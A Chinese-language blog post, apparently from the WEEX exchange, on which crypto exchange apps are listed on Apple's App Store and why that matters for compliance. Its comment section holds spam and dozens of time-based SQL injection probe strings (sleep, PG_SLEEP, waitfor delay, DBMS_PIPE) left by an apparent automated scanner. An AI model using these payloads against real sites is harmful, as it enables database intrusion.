幣圈苦蘋果 App Store 久矣!想安裝個交易軟件要么得先下載 TestFlight,要么得去交易所官網下載安裝企業開發者版本(Apple Developer Program),然後還得去「設置> 通用> VPN 與設備管理」那裡點一下「信任」該開發者。
費了半天勁好不容易安裝好了,但通過 TestFlight 安裝的 App 一般只有 3 個月有效期,到期後需要卸載掉重新安裝。企業開發者版本則會時不時的掉簽,也需要重新下載安裝,重新點一次「信任」該開發者。
但你點了「信任」,就真的可以「信任」嗎?要知道,緬北電詐團伙忽悠你安裝的 App 也需要點擊「信任」開發者,然後它在後台同步你的通訊錄、相冊。
這是因為,很多 App 因未滿足蘋果公司的審核政策,無法正常上架 App Store,只能曲線救國,通過企業證書將交易所 App 當作「內部應用」進行分發。區塊律動 BlockBeats 2018 年曾報導,一個企業開發者賬號在代理商手中報價 10 萬元,「如果不被舉報或查到的話,可以安裝 30-50 萬個設備」。所以才會出現幣安和網易星球混用同一個開發者主體的雷人現象。
後來,蘋果集體封鎖了一批涉嫌去中心化應用和虛擬貨幣交易的企業開發者賬號,導致 OKEX、Gate.io 等 App 驗證失效。於是就變成了貓捉老鼠的遊戲:平台不斷更換企業開發者賬戶,蘋果不斷封掉違規賬戶。企業開發者驗證失效、App 更新,都需要用戶去下載新的 App,重新點擊「信任」該開發者。
還有一種方式是通過 Apple TestFlight(幫助開發者分發 Beta 版軟件的工具),以「測試」的名義供用戶下載安裝。這種方式不需要通過 App Store 審核,因此同样存在詐騙分子做惡的可能。即便 App 本身沒有問題,用戶想安裝得先退出自己的蘋果 ID,使用平台提供的 ID(白名單)登錄才能安裝,也存在個人信息洩露等安全隱患。而且有下載人數限制,一般不能超過 1 萬人。
比如今年 3 月,Uniswap 發布的自託管錢包 Uniswap Wallet 遭到蘋果 App Store 拒絕上架。無奈之下,Uniswap 只能先採用 TestFlight 提供的測試方案,測試名額 1 萬人。直到 4 月,經過長達一個月的審查後,Uniswap Wallet 才正式上架 App Store。
蘋果 App Store 審核被公認是世界最嚴格的,如果一個 App 審核不通過,即使「托關係」、花錢「走後門」也無法突破蘋果官方的審核防線。否則,蘋果就要面臨所在地監管部門的處罰。
因此,一家交易所的 App 能否在蘋果商店正常上架,不只是用戶麻不麻煩的問題,還直接關係到用戶資產安全。
從另一個角度說,一家交易所的App 能夠通過蘋果層層嚴苛的上架審核,意味著該交易所符合所在國家或地區的政策法規、App 性能穩定、所提供服務真實可靠,合規性、安全性得到了蘋果官方的認證和背書。
本文就以 CoinMarketCap 加密貨幣衍生品交易所 Top 10 為樣本,看看這些交易所 App 上架全球 App Store 的情況,以從側面評估他們的本地合規化進展。
十大衍生品交易所 App Store 上架情況
從統計來看,Bybit、OKX、Bitget、Kucoin、WEEX、LBank 6 家交易所上架的 App Store 最全,包括巴西(BR)、墨西哥(MX)等拉美地區,尼日利亞(NG)等非洲地區,以及卡塔爾(QA)、沙特(SA)、阿聯酋(AE)等中東地區。
這意味著全球絕大多數國家和地區的加密用戶都不需要通過這些交易所官網提供的本地下載渠道來獲取 App,可在蘋果 App Store 直接安裝,永不掉簽,自動升級。當然,由於政策原因,中國大陸的 iOS 用戶仍需要通過本地下載或使用海外 ID 登錄下載。
另外,根據蘋果 App Store 審核指南,如果一個 App 試圖通過欺騙系統(例如在審核流程中弄虛作假,竊取用戶數據,抄襲其他開發者的作品,操縱評分等),就會被下架。換句話說,Bybit、OKX、Bitget、Kucoin、WEEX、LBank 這幾家交易所無論是用戶規模,還是用戶口碑、App 評分,在全球最廣泛的地區都是比較可靠、可信的。
作為世界第一大所的 Binance 未上架馬來西亞令人意外。實際上,幣安官網公告的很多活動「限制參與的國家或地區列表」裡都包含了馬來西亞。
為什麼有的交易所能上架蘋果 App Store,有的平台上不了?這就要說到 App Store 的審核政策。
App Store 對加密交易所 App 審核政策
蘋果 App Store 審核准則包括安全、性能、業務、設計、法律五大部分。安全部分包括數據安全、不得提供虛假信息和功能等。法律部分要求:只要 App 向某個地區的用戶提供,就必須遵守該地區的所有法律規定。
去年 10 月蘋果更新審核指南時,對加密貨幣交易所的審核條例也進行了更新。其表示,對加密貨幣交易所或對其他開放加密貨幣交易的 App 都沒異議,前提條件是這些交易所須取得 App 所在地區的營運許可證。
App Store 審核指南 3.1.5 加密貨幣第 (iii) 條規定:經批准的交易所 App 可以促進加密貨幣的交易或傳輸,前提是它們僅在該 App 具有提供加密貨幣交易服務的適當許可和權限的國家或地區提供。
上圖是某交易所 App 被蘋果拒絕上架時收到的反饋,原因是不符合 App Store 準則 3.1.5 – 業務- 支付- 加密貨幣條款:你的應用程序促進了虛擬貨幣的傳輸,但並非由相應的交易所或受認可的金融機構提交,而是使用了第三方交易所的 API,這不適用於 App Store。為解決此問題,請提供書面證據,證明你擁有必要的許可和權限。
據市場研究機構 MarketSplash 的最新統計,截至 2023 年 7 月,使用 iPhone 的人數已接近 16 億,其中日本的比例最高,為 70%,其次是北美,為 56%,瑞典為 54%。截至 2023 年 1 月,iOS 佔據美國 57.78% 的市場份額,佔據歐洲 35.87% 的份額,全球市場份額為 27.63%。
iOS 用戶數量龐大,尤其在發達國家和高淨值人群中佔比更高,這與蘋果封閉的生態系統、嚴格的應用審核、數據加密、出色的隱私保護、惡意軟件較少不無關係。長期以來,人們對 iOS 生態「更加安全」的印像不斷加固,絕大部分用戶都傾向於認為在蘋果 App Store 下載應用軟件更放心,畢竟它們是經過蘋果官方嚴格審核的。
那麼對於加密貨幣交易所來說,他們顯然不會放棄這部分高價值用戶,因此願意投入巨大的成本和精力去滿足各個國家和地區的政策法規,以及蘋果在各地的審核標準,以實現在更多司法管轄區的合規化運營,贏得用戶信任,拓展全球市場。
因此,一家交易所 App 上架 App Store 的國家和地區足夠多,它就值得更多的用戶信任。
WEEX唯客官網:www.weex.com
你也可以在 CMC| Coingecko|非小號|X(Twitter)|Youtube|Facebook|Linkedin|微博 上關注我们,第一时间获取更多投資導航和福利活動!了解平台幣 WXT 最新資訊請訪問 WXT專區
在線諮詢:
WEEX唯客中文交流群:https://t.me/weex_group
WEEX唯客英文交流群:https://t.me/Weex_Global
留言列表(113条)
What’s upp friends, hoow is everything, annd wwhat you wish
ffor too saay regarding tnis piece oof writing, iin mmy vuew itts in factt amazing inn support
off me.
@Bbc on_soft:1
@1:555
@1:555
@1:555
@1:555
@1:if(now()=sysdate(),sleep(15),0)
@1:-1); waitfor delay ‘0:0:15’ —
@1:6qK3zViS’ OR 581=(SELECT 581 FROM PG_SLEEP(15))–
@1:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:if(now()=sysdate(),sleep(15),0)
@Bbc on_soft:ehs02PB0′) OR 409=(SELECT 409 FROM PG_SLEEP(15))–
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:0lizVz6a
@Bbc on_soft:-1; waitfor delay ‘0:0:15’ —
@Bbc on_soft:-1)) OR 977=(SELECT 977 FROM PG_SLEEP(15))–
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:3gCtZw6i
@Bbc on_soft:0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
@Bbc on_soft:RBeYdPQX’ OR 285=(SELECT 285 FROM PG_SLEEP(15))–
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:555
@Bbc on_soft:(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
@Bbc on_soft:-1)) OR 509=(SELECT 509 FROM PG_SLEEP(15))–
1
Verry quickly his webb page wull be famous among all blogging and site-building
visitors, due too it’s good posts
I am extremely innspired witth yoour writiing tslents as ndatly as with the stgructure in your weblog.
Is that ths a paid opic oor diid you modity itt our self?
Eitfher way stay upp the nicde qualiry writing, it’s uncfommon to see a geat
weblog like thios onee these days..
Waay cool! Somee extremely valid points! I appreciae yyou wreiting this write-up and the rest off thee website iss extremely good.
My brorher recommended I might like this website.
He used too be totally right. Thiss sumit ttuly made my day.
Yoou cann’t imagne siply hoow much tkme I had spentt ffor this info!
Thanks!
555
555
555
555
555
555
555
OHGm97UG
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/
DW4GqzQt’; waitfor delay ‘0:0:15’ —
EC2WBXRq’ OR 839=(SELECT 839 FROM PG_SLEEP(15))–
555’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
555
555
555
1*555
0’XOR(if(now()=sysdate(),sleep(15),0))XOR’Z
1 waitfor delay ‘0:0:15’ —
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555
555
555
555
-1 OR 2+577-577-1=0+0+0+1
DyfMMezQ’; waitfor delay ‘0:0:15’ —
555
555
555
555
555
555
U3oWitVV
555*386*381*0
0″XOR(if(now()=sysdate(),sleep(15),0))XOR”Z
lbDA7w4A’; waitfor delay ‘0:0:15’ —
1′”
555
555
if(now()=sysdate(),sleep(15),0)
-5 OR 367=(SELECT 367 FROM PG_SLEEP(15))–
555
555
555
555
-5) OR 345=(SELECT 345 FROM PG_SLEEP(15))–
555
555*382*377*0
-5 OR 827=(SELECT 827 FROM PG_SLEEP(15))–
555
abNbN9F5
555
555
-1; waitfor delay ‘0:0:15’ —
555
555
555
555
555
(1019-459-5)
-1); waitfor delay ‘0:0:15’ —
1%2527%2522
555
3xXZl4UJ’ OR 917=(SELECT 917 FROM PG_SLEEP(15))–
GKZ4ROAS’)) OR 828=(SELECT 828 FROM PG_SLEEP(15))–